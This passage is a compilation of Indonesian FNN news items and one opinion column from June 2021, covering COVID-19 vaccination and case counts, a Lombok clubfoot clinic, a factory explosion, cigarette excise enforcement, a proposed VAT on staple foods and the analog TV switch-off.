Mataram, FNN - Rumah Sakit Umum Daerah (RSUD) Kota Mataram, Nusa Tenggara Barat, mulai membuka pelayanan vaksinasi COVID-19 untuk publik usia di atas 18 tahun hingga di bawah 60 tahun. Kapala Bidang Pelayanan Medis RSUD Kota Mataram Dr Emirald Isfihan di Mataram, Jumat, mengatakan layanan vaksinasi publik sudah dimulai sejak Rabu (9/6-2021), tapi dilakukan secara terbatas. "Artinya, masyarakat usia di atas 18 tahun hingga di bawah 60 tahun yang ingin mendapatkan vaksin COVID-19, harus mendaftar dulu. Kita registrasi publik yang mau vaksin dan kalau ada jatah maka akan dihubungi," katanya. Ia mengatakan registrasi dilakukan karena pemberian vaksin untuk publik diambilkan dari kuota vaksin lanjut usia (lansia) dan guru sebab secara resmi dari pemerintah pusat belum memberikan kebijakan untuk vaksinasi publik. "Tapi program ini untuk kita fasilitasi publik yang ingin divaksin, sebab satu vial vaksin COVID-19 dapat digunakan untuk 10 orang. Kalau sehari lansia yang datang kurang dari 10 dan terjadi sisa vaksin, maka kelebihan itulah yang kita manfaatin untuk publik," katanya. Sejak pembukaan vaksinasi untuk publik dimulai, sudah ada tujuh orang yang mendaftar, dan empat orang di antaranya sudah mendapatkan vaksin COVID-19. "Dengan demikian, kelebihan vaksin untuk lansia dan guru tidak terbuang sia-sia sebab jika satu vial sudah dibuka kemudian tersisa maka sisanya itu tidak bisa disimpan," katanya. Hal senada juga disampaikan Kepala Dinas Kesehatan (Dinkes) Kota Mataram dr H Usman Hadi, yang mengatakan bahwa kebijakan tersebut diambil sesuai dengan arahan dari Dinkes Provinsi Nusa Tenggara Barat. Karenanya, pelayanan vaksinasi COVID-19 yang sejak April 2021 diprioritaskan untuk lansia dan guru, kini bisa diberikan ke publik sesuai ketentuan. Dikatakan, sejak awal April 2021 pelayanan vaksinasi COVID-19 untuk publik dihentikan sementara. Tapi setelah dievaluasi, peluang vaksinasi publik bisa dilakukan secara terbatas sesuai dengan stok vaksin yang digunakan lansia. "Misalnya, kalau sehari ada enam lansia yang divaksin di sebuah faskes, maka empat publik bisa divaksin agar satu vial vaksin untuk 10 orang termanfaatkan. Sisa vaksin tidak bisa disimpan, karena itu dari pada dibuang sia-sia lebih baik dimanfaarkan untuk publik," katanya. Berdasarkan data dari Dinkes Provinsi NTB menyebutkan, cakupan vaksin COVID-19 untuk lansia di Mataram tanggal 8 Mei 2021, tercatat 95,9 persen atau 12.712 orang dari target 13.366 lansia. Sedangkan untuk vaksinasi guru mencapai 72 persen atau 6.036 orang. (mth)

Lombok Care: Ratusan Anak di Lombok Terlahir Kaki Pengkor

Mataram, FNN - Yayasan Lombok Care menyebutkan terdapat ratusan anak di Pulau Lombok terlahir dengan kaki pengkor atau "clubfoot" dengan rata-rata usia mereka dari 0 sampai 10 tahun. "Menurut informasi dan data, ada ratusan anak yang terlahir dengan kondisi clubfoot," kata pengelola yayasan yang bergerak pada penyandang disabilitas itu, Apip melalui siaran persnya, Jumat. Ia menyebutkan anak-anak yang terlahir dengan kaki pengkor sebenarnya dapat ditangani sedini mungkin agar perkembangan kaki mereka dapat normal seperti pada umumnya. Namun, kata dia, karena minimnya informasi, kurangnya sumberdaya, langkanya alat bantu yang dibutuhkan juga mahalnya biaya pengobatan, akhirnya banyak anak-anak yang tidak tertangani dan akhirnya menjadi disabilitas permanen. Pada awal tahun 2021 Yayasan LombokCare bersama Yayasan Stepping Stones Bali (NGO yang konsen menangani clubfoot) melakukan komunikasi untuk dapat bekerja sama dalam membantu anak-anak dan keluarganya agar terbebas dari clubfoot/kaki pengkor, katanya. Stepping Stones sudah membantu puluhan anak dari NTB dengan kaki pengkor dalam dua tahun terakhir ini. Karena pandemi, akhirnya anak-anak yang sedang dalam penanganan terhambat dalam melakukan penanganan dikarenakan banyaknya aturan-aturan baru yang membatasi semua kegiatan termasuk dalam hal perjalanan antar daerah/provinsi. Untuk itu agar penanganan dapat terus berlanjut dan terutama untuk membantu anak-anak dengan kaki pengkor sedini mungkin di wilayah Lombok khususnya dan NTB pada umumnya. "Kami melakukan MoU untuk melaksanakan program ini bersama dengan melibatkan dokter ortopedi dari Lombok," katanya. Program kaki pengkor atau Clubfoot Clinic resmi dilaksanakan per 8 April 2021 di Yayasan LombokCare setelah dua bulan Tim Fisioterapis dan Peksos LombokCare mendapatkan pelatihan-pelatihan khusus. Adapun proses penanganan yang kami lakukan memiliki beberapa tahapan, diantaranya tahapan; deteksi (assesmen, pengukuran kondisi kaki atau pirani score), pemakaian gips (setiap minggunya maksimal sampai delapan kali), pendampingan operasi tenotomi, pemasangan gips pasca operasi, dan pemakaian brace atau sepatu khusus selama empat tahun. Hingga kini sudah delapan minggu Clubfoot Clinic diadakan dengan total 15 anak dengan rentang usia satu bulan-tujuh tahun terdaftar sebagai penerima manfaat. Mereka berasal dari berbagai wilayah di NTB seperti Mataram, Lombok Barat, Lombok Utara, Lombok Tengah, Bima, dan Dompu. Ke depannya untuk menyukseskan program ini, tentunya perlu melibatkan banyak pihak seperti kader-kader dan bidan desa untuk deteksi dini, dokter ortopedi, dinas dan instansi terkait, perangkat desa dan dusun, organisasi atau lembaga lain, dan masyarakat luas. Selain itu Yayasan LombokCare bersama Stepping Stones juga akan mengembangkan kerjasama dengan NGO Internasional dan Rumah Sakit agar penanganan semakin baik. Kami berharap agar program ini dapat terus berlanjut dan mendapat dukungan berupa materi ataupun non materi dari berbagai pihak terutama pemerintah, lembaga, instansi, perusahaan, masyarakat dan orang-orang baik yang peduli, agar dapat membantu anak-anak dengan kaki pengkor khususnya di NTB agar tidak terjadi disabilitas permanen dan agar mendapatkan pelayanan secara GRATIS terutama bagi keluarga yang kurang mampu, paparnya. (mth)

Kenaikan Kasus COVID-19 di DKI Dipicu Arus Mudik Lebaran

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria menyebutkan kenaikan kasus penyebaran COVID-19 di ibu kota dalam beberapa hari terakhir dipicu arus mudik dan arus balik saat Lebaran. "Kenaikan kasus COVID-19 ini ada beberapa penyebab di antaranya ada mudik Lebaran," kata Riza di Jakarta, Jumat. Riza mengungkapkan faktor penyebab lainnya yang menimbulkan kenaikan kasus COVID-19 terdampak dari interaksi dan aktivitas masyarakat yang tinggi di dalam dan luar kota maupun warga luar negeri masuk ke Indonesia. "Karena sudah dibuka, yang datang dari luar negeri beberapa minggu terakhir ini," tutur Riza. Penyebab lainnya, kata Wagub DKI Jakarta, yaitu sebagian masyarakat abai dan kurang taat terhadap protokol kesehatan. Riza mengingatkan perjuangan melawan pandemi COVID-19 belum berakhir sehingga seluruh elemen masyarakat dan lembaga pemerintah hingga lingkungan Rukun Tetangga tidak lengah memerangi virus asal Wuhan, China, itu. Riza menegaskan, pihaknya tidak akan segan menindak pengelola pasar, pusat perbelanjaan, tempat usaha, pabrik atau masyarakat yang melanggar protokol kesehatan karena berpotensi meningkatkan kasus COVID-19. Riza pun mengingatkan warga agar disiplin menjalankan protokol kesehatan karena tingkat keterisian rumah sakit telah mencapai 65 persen akibat perawatan pasien COVID-19. Satgas COVID-19 DKI Jakarta mencatat jumlah kasus COVID-19 hingga Rabu (9/6) mencapai 438.458 kasus, kemudian bertambah 2.096 kasus menjadi 440.554 pada Kamis (10/6). (mth)

Istri Menkumham Akan Dimakamkan di San Diego Hills Karawang Sabtu Besok

Jakarta, FNN - Istri Menteri Hukum dan Hak Asasi Manusia (Menkumham) RI Yasonna Laoly, Elisye Widya Ketaren yang meninggal dunia pada Kamis (10/6) akan dimakamkan pada Sabtu (12/6) di San Diego Hills, Karawang, Jawa Barat. "Prosesi pemakaman rencananya dimulai pukul 11.00 WIB," kata Kepala Tim Strategi Komunikasi Menkumham Bane Raja Manalu melalui keterangan tertulis yang diterima di Jakarta, Jumat. Ia mengatakan pada Jumat (11/6) akan dilaksanakan ibadah penghiburan keluarga almarhumah Elisye di Rumah Duka Sentosa. Adapun rangkaian ibadah penghiburan dilakukan pada lima tahap waktu berbeda yakni pukul 10.00 hingga 11.30 WIB, pukul 14.00 hingga 15.30 WIB, pukul 16.00 hingga 18.00 WIB, pukul 19.00 hingga 20.00 WIB dan terakhir pukul 20.00 hingga 22.00 WIB. "Alokasi waktu melayat dilaksanakan di luar waktu pelaksanaan ibadah penghiburan," katanya. Elisye meninggal dunia pada Kamis (10/6) pukul 15.25 WIB di Rumah Sakit (RS) Medistra, Jakarta Selatan. Jenazah Elisye kemudian disemayamkan di rumah duka Sentosa RSPAD Gatot Soebroto, Jakarta Pusat. Almarhumah Elisye lahir di Kisaran, Kabupaten Asahan Sumatera Utara pada 24 Desember 1954. Almarhumah meninggalkan empat anak dan enam cucu. (sws)

Polisi: Hasil Pemeriksaan Saksi Ledakan Gresik Belum Bisa Disimpulkan

Gresik, FNN - Kapolres Gresik, Jatim, AKBP Arief Fitrianto menegaskan hasil pemeriksaan terhadap enam saksi terkait ledakan pabrik di PT Citra Adi Sarana (CAS), Kabupaten Gresik, belum bisa disimpulkan, karena menunggu hasil lain dari tim Laboratorium Forensik (Labfor) Polda Jawa Timur. "Hasil enam orang saksi yang diperiksa belum dapat menyimpulkan faktor penyebab kejadian, dan masih menunggu pemeriksaan yang dilakukan tim Labfor Polda Jawa Timur," kata Arief kepada wartawan di Gresik, Jumat. Ia mengatakan Polres Gresik masih mendalami beberapa hasil pemeriksaan lainnya, seperti hasil dari Labfor, keterangan saksi, olah TKP (Tempat Kejadian Perkara) lengkap, dan kemudian menyimpulkan faktor kelalaian atau tidak. Ia mengatakan enam orang saksi yang sudah diperiksa adalah pekerja, dan mereka dianggap mengetahui akan kejadian ledakan tersebut. Sebelumnya diberitakan, lima orang pekerja tewas dalam kejadian ledakan yang diduga berasal dari tangki metanol milik PT Citra Adi Sarana (CAS) Indonesia di salah satu pabrik di Jalan Dharmo Sugondo, Kebomas, Kabupaten Gresik. Lima orang tewas itu masing-masing Muhammad Burhanudin Al Ansori (22) dan Ibnu Attoilah (21). Keduanya berasal dari Kabupaten Trenggalek dan sempat berada di kamar jenazah RS Semen Gresik. Kemudian Septianingrum (26) dari Kabupaten Kediri, Muhammad Andik (33), warga Kelurahan Gending, Kecamatan Kebomas Gresik, dan Johanes Saputro (22) warga Kabupaten Lamongan. Jenazah ketiganya sebelumnya berada di RSUD Ibnu Sina Gresik. (sws)

KPPBC Kudus Ungkap 43 Kasus Pelanggaran Pita Cukai Rokok

Kudus, FNN - Pandemi COVID-19 tidak menghalangi Kantor Pengawasan dan Pelayanan Bea dan Cukai (KPPBC) Tipe Madya Cukai Kudus, Jawa Tengah, melakukan pengawasan rokok ilegal karena selama Januari hingga Mei 2021 berhasil mengungkap 43 kasus pelanggaran pita cukai rokok. "Jumlah barang bukti yang disita mencapai 5.763.476 batang rokok," kata Kepala KPPBC Tipe Madya Cukai Kudus Gatot Sugeng Wibowo di Kudus, Jumat. Ia mengungkapkan jutaan batang rokok yang disita didominasi rokok jenis sigaret kretek mesin (SKM), dibandingkan rokok jenis sigaret kretek tangan (SKT). Dari 5,76 juta batang rokok ilegal tersebut, nilainya diperkirakan mencapai Rp5,9 miliar, sedangkan potensi kerugian negara yang berhasil diselamatkan sebesar Rp4 miliar. Modus pengiriman barang ilegal tersebut juga bermacam-macam, mulai dari pengiriman menggunakan kendaraan pribadi, transportasi umum hingga menggunakan truk kontainer yang dicampur dengan komoditas pokok masyarakat untuk mengelabuhi petugas. Ada pula yang mengirimkan melalui jasa ekspedisi, seperti yang terungkap pada 27 Mei 2021 berhasil menindak di tempat jasa ekspedisi yang digunakan sebagai tempat untuk menimbun dan mengirimkan rokok ilegal di Kudus. Dari hasil penindakan tersebut, berhasil diamankan 32.000 batang rokok jenis SKM yang dilekati pita cukai diduga palsu jenis SKT seri I tahun 2021. (sws)

Ferdinand Hutahaean: Komnas HAM Blunder Panggil Pimpinan KPK

Jakarta, 11/6 (ANTARA) - Politisi Ferdinand Hutahaean menilai Komisi Nasional Hak Asasi Manusia (Komnas HAM) melakukan blunder dengan memanggil pimpinan KPK terkait tes wawasan kebangsaan (TWK) yang saat ini menjadi perhatian publik. "Pemanggilan Komnas HAM kepada pimpinan KPK bukan kewenangan dan bukan ranah yang patut diselidiki Komnas HAM sebagai sebuah pelanggaran hak asasi manusia," kata dia, melalui keterangan tertulis yang diterima di Jakarta, Jumat. Menurut dia, yang dilakukan anggota Komnas HAM terhadap pimpinan KPK terlalu prematur karena Komnas HAM sendiri belum menganalisis dan menyimpulkan laporan dari 51 pegawai KPK yang tidak lolos TWK mengenai pelanggaran yang dilakukan lembaga antirasuah itu. Sebab, lanjut dia, Komnas HAM ingin menyelidiki tetapi belum tahu dan belum menyimpulkan serta belum menganalisis apakah di dalam laporan atau informasi yang diterima dari pegawai KPK yang tidak lolos TWK adalah pelanggaran HAM atau tidak. "Sementara mereka sudah memanggil pihak-pihak yang diduga sebagai terlapor, ini khan lucu," kata dia. Terkait polemik TWK di KPK sebagai alih status pegawai menjadi aparatur sipil negara, ia mendukung Ketua KPK, Firli Bahuri, yang tidak menghadiri panggilan Komnas HAM selama belum ada keterangan yang jelas. Ia juga berpandangan apabila Komnas HAM masih bersikukuh memanggil Bahuri, artinya Komnas HAM telah melakukan tindakan sewenang-wenang. Diketahui sebelumnya Bahuri dan pimpinan KPK tidak hadir atas pemanggilan Komnas HAM yang diagendakan pada Selasa, 8 Juni 2021. Namun, Komnas HAM kembali melayangkan surat pemanggilan kedua yang dijadwalkan pada Selasa (15/6). Sebelumnya, Komisioner Pemantauan dan Penyelidikan Komnas HAM, Mohammad Choirul Anam, mengatakan pemanggilan oleh Komnas HAM hendaknya dimaknai pihak terkait sebagai suatu kesempatan dan hak guna memberikan informasi atau keterangan yang dibutuhkan. "Jadi harus dimaknai sebagai suatu kesempatan untuk mengklarifikasi, mendalami dan memberikan informasi yang seimbang," ujar dia. (sws)

Selain Sembako, Jokowi Juga Akan Pajaki Kerikil, Pasir, dan Knalpot

Jakarta, FNN - Presiden Jokowi terus memburu duit rakyat. Pemerintahan negara di bawah komando Jokowi berencana akan mengenakan Pajak Pertambahan Nilai (PPN) untuk sejumlah sembilan bahan pokok (sembako). Ketentuan PPN sembako ini telah diterbitkan dalam Revisi Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (RUU KUP). Mengacu Pasal 4A RUU KUP, Kamis (10/6/2021), sembako dihapus dalam kelompok jenis barang yang tidak dikenai PPN. Sembako sebagai barang yang sangat dibutuhkan oleh rakyat banyak sebelumnya tidak dikenakan PPN, seperti diatur dalam Peraturan Pemerintah (PP) Nomor 144 Tahun 2000 dan Peraturan Menteri Keuangan Nomor 116/PMK.010/2017. Dengan begitu, ada 13 kategori sembako pada Peraturan Menteri Keuangan Nomor 116/PMK.010/2017 yang nantinya akan dikenai PPN, antara lain: 1. Beras dan Gabah 2. Jagung 3. Sagu 4. Kedelai 5. Garam Konsumsi 6. Daging 7. Telur 8. Susu 9. Buah-buahan 10. Sayur-sayuran 11. Ubi-ubian 12. Bumbu-bumbuan 13. Gula Konsumsi Barang Hasil Tambang Tidak hanya sembako, jenis barang hasil pertambangan atau hasil pengeboran yang diambil langsung dari sumbernya juga kini dihapus dari daftar pengecualian PPN. Seperti dikutip dari PP Nomor 144/2000, berikut daftar hasil pertambangan/pengeboran yang akan dikenakan PPN: 1. Minyak Mentah (crude oil) 2. Gas Bumi 3. Panas Bumi 4. Pasir dan Kerikil 5. Batubara sebelum diproses menjadi Briket Batubara 6. Bijih Besi, Bijih Timah, Bijih Emas, Bijih Tembaga, Bijih Nikel, dan Bijih Perak serta Bijih Bauksit Adapun besaran tarif PPN seperti diatur dalam Pasal 7 RUU KUP adalah 12 persen. Tarif PPN sendiri dapat diubah jadi paling rendah 5 persen dan paling tinggi 15 persen. Tahun 2020 lalu Menteri Keuangan (Menkeu) Sri Mulyani Indrawati juga mengusulkan pengenaan pungutan cukai baru pada sejumlah item saat rapat kerja dengan Komisi XI DPR 19 Februari 2020 lalu. Awalnya, rapat tersebut membahas penerapan cukai pada kantong plastik. Namun, belakangan pembahasannya meluas pada objek cukai lain, yakni asap atau emisi kendaraan bermotor dan minuman kemasan dan berpemanis. Anggota DPR sendiri menyambut positif usulan pengenaan cukai baru pada 3 jenis komoditas tersebut. Usai memaparkan rencana cukai kantong plastik, Sri Mulyani lantas menjabarkan gagasan rencana pemberlakuan bea cukai pada minuman berpemanis dan emisi gas buang kendaraan. (ant, lj, kps)

Gempa Bumi Magnitudo 5,7 Guncang Sulut

Jakarta, FNN - Gempa bumi berkekuatan magnitudo 5,7 mengguncang Sulawesi Utara pada Selasa sekitar pukul 09.23 WIB, menurut informasi Badan Meteorologi Klimatologi dan Geofisika (BMKG) yang diterima di Jakarta. Episentrum gempa berada di 0,06 Lintang Selatan dan 124,40 Bujur Timur sejauh 66 kilometer tenggara daya Bolaanguki-Bolsel dengan kedalaman 14 kilometer. (sws)

Mental Penjajah dan Negara Menuju Bangkrut

Draft RUU perubahan kelima UU Nomor 6 tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP) menambah masalah bagi negeri. Sudah Omnibus Law kontroversial, UU KPK diobrak-abrik, lalu draft KUHP "bid'ah" akan menghukum penghina presiden, kini RUU revisi KUP pun rentan kritik. Selain telah menaikkan tarif pajak, pemerintah juga akan memperluas obyeknya. Urusan sembako dan "hajat hidup orang banyak" akan dihajar pajak. Oleh M Rizal Fadillah Bandung, (FNN) - TUJUAN bernegara pasca kita menyatakan kemerdekaan antara lain "memajukan kesejahteraan umum". Siapa pun yang diberi amanat untuk berada dalam pemerintahan, berkewajiban mengupayakan kesejahteraan bagi rakyatnya, bukan memberatkan dan menyengsarakan. Kita merdeka karena tidak enak dan pahit dijajah. Kehidupan sulit dan segala tertekan serta dipaksa-paksa oleh pemerintah penjajah. Upeti ditarik dari berbagai sektor, urusan kebutuhan pokok dipajaki. Penjajah hidup senang sementara rakyat jajahan menderita. Segala diawasi dari ngomong hingga batuk-batuk. Sedikit membicarakan keburukan "tuan meneer" dicap ektremis bahkan pemberontak. Negara kita adalah negara merdeka, tetapi tontonan perilaku penguasa belum menampilkan sosok pemerintahan negara merdeka. Kedaulatan rakyat sebagai ciri khas kemerdekaan terambil habis. Justru kedaulatan negara yang menjadi ciri primitivitas bernegara sedang ditegakkan. Memperkaya diri dan kroni. Membungkam aspirasi dan menginjak-injak hak asasi. Upeti dengan bahasa santun pajak tengah digalakkan. Tema agak akademis "PPN" atau Pajak Pertambahan Nilai merambah ke mana-mana. Rakyat bukan penikmat, tetapi menjadi obyek. Di tengah pemborosan dan kegilaan korupsi justru rakyat semakin diperas. PPN akan dikenakan antara lain pada sembako, pendidikan, jasa kesehatan, dan jasa surat berperangko. Beban berat kembali berada di pundak rakyat kebanyakan. Dua kemungkinan atas kondisi ini yaitu para penyelenggara negara yang telah dihinggapi penyakit mental penjajah, mumpung berkuasa dan menikmati kekuasaan, atau memang negara sedang bangkrut. Sudah tidak mampu membiayai rakyatnya lagi. Pajak rakyat adalah pilihan terpaksa. Duit negara cekak karena pemerintah tidak amanah dan salah urus. Draft RUU perubahan kelima UU Nomor 6 tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP) menambah masalah bagi negeri. Sudah Omnibus Law kontroversial, UU KPK diobrak-abrik, lalu draft KUHP "bid'ah" akan menghukum penghina presiden, kini RUU revisi KUP pun rentan kritik. Selain telah menaikkan tarif pajak, pemerintah juga akan memperluas obyeknya. Urusan sembako dan "hajat hidup orang banyak" akan dihajar pajak. Kebijakan ini menimbulkan pertanyaan apakah pemerintah bermental penjajah (koloniale mentaliteit)? Jika ya, rakyat harus mengubah segera dengan pemerintahan yang bermental merdeka (vrije mentaliteit) dan berorientasi kerakyatan (populitisch). Atau apakah negara sedang mengalami kebangkrutan (pailliet) karena salah urus? Jika ya, rakyat pun harus mengubah segera dengan pemerintahan yang lebih mampu (beter in staat) dan amanah (eerlijk). Perubahan adalah suatu keniscayaan atas situasi karena rakyat sudah tidak percaya lagi pada pemerintah yang sulit untuk dipercaya. ** Penulis adalah Pemerhati Politik dan Kebangsaan.

Akhir 2021 Jokowi Kembali Bubarkan Badan/Lembaga

Jakarta, FNN - Pemerintah kembali membuka peluang untuk membubarkan lembaga non-struktural yang merupakan bagian dari upaya melakukan perampingan birokrasi pemerintahan secara menyeluruh. Presiden Jokowi melalui Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) Tjahjo Kumolo mengemukakan, saat ini pemerintah masih menginventarisir Lembaga yang akan dibubarkan Jokowi. Menurut Tjahjo, langkah awal pembubaran badan/lembaga ini bisa dilakukan pada akhir 2021 atau awal 2022. "Perencanaan inventarisasi bisa akhir tahun (2021) atau awal tahun (2022) dan dibahas antardepartemen instansi," ujar Tjahjo dalam keterangannya pada Kamis (10/6/2021). "Setelah itu, baru dibahas dengan DPR. Kemudian berlanjut mengajukan izin kepada Presiden," lanjutnya. Tjahjo juga menyebutkan, pihaknya akan melakukan evaluasi dan kajian sebelum membubarkan sejumlah badan/lembaga yang dimaksud. Meski demikian, Tjahjo juga menyinggung kemungkinan ada badan/lembaga yang akan diintegrasikan dengan kementerian atau lembaga lain. "Karena ada yang tumpang tindih dan ada yang bisa dirampingkan," tuturnya. Tjahjo menambahkan, rencana pembubaran badan/lembaga bertujuan mewujudkan birokrasi yang cepat mengambil keputusan, ramping dan tidak tumpang-tindih. Sebelumnya Tjahjo mengungkapkan, pemerintah akan kembali membubarkan sejumlah lembaga pada 2021. Tjahjo mengatakan, daftar lembaga yang hendak dibubarkan segera diserahkan ke DPR untuk disetujui. "Mudah-mudahan pertengahan tahun sampai akhir tahun akan kami ajukan ke DPR usulan badan-badan, lembaga, yang mungkin bisa dihapuskan tapi harus dibahas bersama dengan DPR," kata Tjahjo dalam rapat dengan Komisi II DPR, Selasa (8/6/2021). Tjahjo tidak mengungkap lembaga apa saja yang akan dibubarkan oleh pemerintah. Namun, ia menyinggung soal Kementerian komunikasi dan Informatika yang menaungi sejumlah badan di bawahnya. Tahun lalu, Presiden Joko Widodo telah membubarkan 10 lembaga negara nonstruktural. Keputusan ini ditetapkan melalui Peraturan Presiden Nomor 112 Tahun 2020. Perpres tersebut diteken Jokowi pada 26 November 2020 dan diundangkan Menteri Hukum dan Hak Asasi Manusia (Menkumham) Yasonna Laoly. Berdasarkan pertimbangan dalam perpres, pembubaran 10 lembaga bertujuan untuk meningkatkan efektivitas dan efisiensi penyelenggaraan pemerintahan. Ke-10 lembaga yang telah dibubarkan pada 2020 lalu adalah Dewan Riset Nasional, Dewan Ketahanan Pangan, Badan Pengembangan Wilayah Surabaya-Madura, Badan Standardisasi dan Akreditasi Nasional Keolahragaan. Kemudian, Komisi Pengawas Haji Indonesia, Komite Ekonomi dan Industri Nasional, Badan Pertimbangan Telekomunikasi, Komisi Nasional Lanjut Usia, Badan Olahraga Profesional Indonesia, serta Badan Regulasi Telekomunikasi Indonesia. (ant, kps)

Satgas: 200 Pasien COVID-19 di Provinsi Jambi Meninggal Dunia

Jambi, FNN - Satuan Tugas COVID-19 Provinsi Jambi menyatakan sudah terdapat 200 orang pasien COVID-19 yang tersebar di sebelas kabupaten dan kota di daerah itu meninggal dunia. "Pada hari ini satu orang pasien COVID-19 di Kota Jambi meninggal dunia, dengan demikian sudah terdapat 200 orang pasien COVID-19 yang meninggal dunia di Jambi," kata Juru Bicara Satgas COVID-19 Provinsi Jambi Johansyah di Jambi, Kamis. Selain pasien COVID-19 yang meninggal dunia, juga terdapat 132 orang warga Jambi yang terkonfirmasi positif COVID-19 pada hari ini. Di antaranya 68 orang di Kabupaten Tanjung Jabung Barat, 31 orang di Muaro Jambi dan 24 orang di Tanjung Jabung Timur. Kemudian delapan orang di Kota Sungai Penuh dan satu orang di Kabupaten Sarolangun. Dengan demikian total pasien terkonfirmasi positif COVID-19 di daerah itu hingga saat ini berjumlah 10.646 orang. Pasien COVID-19 yang dinyatakan sembuh pada hari ini di daerah itu berjumlah 54 orang. 30 orang di Kota Jambi dan 24 orang di Kabupaten Tanjung Jabung Timur. Sehingga total pasien COVID-19 yang sudah dinyatakan sembuh di daerah itu berjumlah 8.451 orang. "Pasien COVID-19 yang masih menjalani proses perawatan sebanyak 1.995 orang," kata Johansyah. Sementara itu dari sebelas kabupaten dan kota di daerah itu satu kabupaten berada pada zona merah COVID-19 atau zona resiko tinggi penularan COVID-19. Sembilan kabupaten berada pada zona oranye COVID-19 atau zona risiko sedang penularan COVID-19. Yakni Kota Jambi, Kota Sungai Penuh, Kabupaten Bungo, Merangin, Sarolangun, Batanghari, Tanjung Jabung Barat, Muaro Jambi dan Kabupaten Tanjung Jabung Timur. Sementara Kabupaten Kerinci berada pada zona kuning COVID-19. Satgas COVID-19 Provinsi Jambi mengimbau masyarakat di daerah itu untuk menerapkan protokol kesehatan COVID-19 secara disiplin. Yakni mencuci tangan dengan sabun di air mengalir, memakai masker, menjaga jarak, menghindari kerumunan dan mengurangi mobilitas ke luar daerah. (sws)

BMKG Prakirakan Jaksel dan Jaktim Diguyur Hujan Siang Ini

Jakarta, FNN - Badan Meteorologi, Klimatologi dan Geofisika (BMKG) memprakirakan hujan dengan intensitas sedang mengguyur sebagian wilayah DKI Jakarta, terutama Jakarta Selatan dan Jakarta Timur pada Jumat siang. Melalui laman resminya yang dikutip di Jakarta, Jumat, BMKG memberi peringatan dini terkait potensi hujan disertai kilat/petir dan angin kencang di kedua wilayah tersebut pada siang hingga menjelang malam hari. Wilayah lainnya, yakni Jakarta Barat dan Jakarta Pusat berawan pada siang. Sedangkan Jakarta Utara dan Kepulauan Seribu cerah berawan. Memasuki malam hari, sebagian besar wilayah Jakarta dan Kepulauan Seribu berawan. Hanya Jakarta Barat dan Jakarta Selatan yang diguyur hujan ringan. Adapun suhu udara di Jakarta Barat, Jakarta Selatan dan Jakarta Timur berkisar 25-33 derajat Celcius. Sedangkan Jakarta Pusat dan Jakarta Utara 26-32 derajat Celcius serta Kepulauan Seribu antara 27-31 derajat Celcius. Kemudian, tingkat kelembaban di seluruh wilayah DKI Jakarta mencapai 65-90 persen, sedangkan di Kepulauan Seribu 70-90 persen. (sws)

Siaran Televisi Analog di Banten Dihentikan Mulai 17 Agustus

Jakarta, FNN - Kementerian Komunikasi dan Informatika secara bertahap akan mulai menghentikan siaran televisi analog di Banten mulai 17 Agustus mendatang, bertepatan dengan peringatan Hari Kemerdekaan Republik Indonesia ke-76. "Dari tiga wilayah layanan siaran, semuanya telah dijadwalkan untuk pelaksanaan analog switch off (ASO)," kata Staf Khusus Menteri Komunikasi dan Informatika Bidang Komunikasi Publik, Rosarita Niken Widiastuti dalam keterangan pers, dikutip Jumat. Wilayah Banten 1, mencakup Kota Serang, Kota Cilegon dan Kabupaten Serang, akan masuk Tahap I ASO yang dijadwalkan berlangsung 17 Agustus 2021. Provinsi Banten memiliki tiga wilayah siaran. Wilayah siaran Banten 2 (Kabupaten Pandeglang) dan Banten 3 (Kabupaten Lebak) masing-masing akan mendapatkan siaran televisi digital pada 31 Desember dan 2 November 2022. Multipleksing BSTV, TransTV dan SCTV sudah beroperasi di wilayah siaran Banten 1, sementara di Banten 2 terdapat multipleksing BSTV, Metro TV, TransTV dan TVOne. Di Banten 3, beroperasi multipleksing TVRI Bayah, BSTV dan Metro TV. Pemerintah akan menghentikan siaran televisi analog dan berpindah ke siaran digital melalui lima tahap yang berlangsung pada 17 Agustus, 31 Desember, 31 Maret 2022, 17 Agustus 2022 dan 2 November 2022. "Dengan adanya penetapan tahapan penghentian siaran analog tersebut, maka sangat perlu sekali dilakukan sosialisasi secara masif dan kontinyu, menyiapkan berbagai sarana untuk membangun kesadaran dan kesiapan masyarakat menyambut era penyiaran TV Digital," kata Niken. Sosialisasi perlu dilakukan agar masyarakat paham bahwa setelah ASO, siaran televisi hanya bisa ditangkap perangkat televisi digital. Perangkat lama masih bisa menangkan siaran televisi digital jika ditambah set-top box. Migrasi siaran televisi dari analog ke digital mengacu pada standar International Telecommunication Union (ITU). ASO dilakukan secara bertahap dengan mempertimbangkan kondisi geografis, luas wilayah, keterbatasan frekuensi radio dan kemampuan teknologi siaran digital di wilayah siaran. (sws)

Mess Haji Jadi Alternatif Karantina Pasien COVID-19 di Gorontalo

Gorontalo, 10/6 (ANTARA) - Mess haji Gorontalo disiapkan menjadi lokasi alternatif karantina pasien COVI-19, jika terjadi lonjakan kasus beberapa waktu ke depan. “Kemarin saya dan Forkopimda bertemu dalam rangka membahas karantina terpusat. Setelah kami evaluasi seperti yang terjadi di daerah lain, karantina mandiri kurang efektif. Pasien COVID-19 susah dikontrol, tidak ada obat, tidak ada petugas kesehatan. Ini yang melatarbelakangi kami untuk melakukan karantina terpusat,” kata Gubernur Gorontalo Rusli Habibie di Kota Gorontalo, Kamis. Mess haji dipilih karena tempatnya yang representatif, serta pernah digunakan sebagai lokasi karantina pasien COVID-19 pada awal pandemi tahun 2020. Apalagi, lanjutnya, pemberangkatan calon jemaah haji tahun 2021 ditunda, sehingga lokasi tersebut belum dimanfaatkan. "Waktu dulu PSBB pasien covid dikarantina di sini, jadi bisa kami kontrol. Kenapa bukan rumah sakit? Kalau tanpa gejala memang tidak membutuhkan rumah sakit kecuali pasien dengan komorbit. Jadi saat ini kita hanya terus waspada," tambahnya. Gubernur belum bisa memastikan kapan rencana itu akan terealisasi, namun langkah antisipasi harus segera dilakukan. Pihaknya meminta pemerintah kabupaten, kota, dan provinsi untuk terus melanjutkan proses pemeriksaan dini, pelacakan, dan perawatan COVID-19. Kakanwil Agama Provinsi Gorontalo Syafrudin Baderung menyambut baik rencana pemprov tersebut. Meski demikian ia mengatakan status mess haji sebagai Unit Pelaksana Teknis (UPT) Kementerian Agama (Kemenag) RI, sehingga maka butuh izin 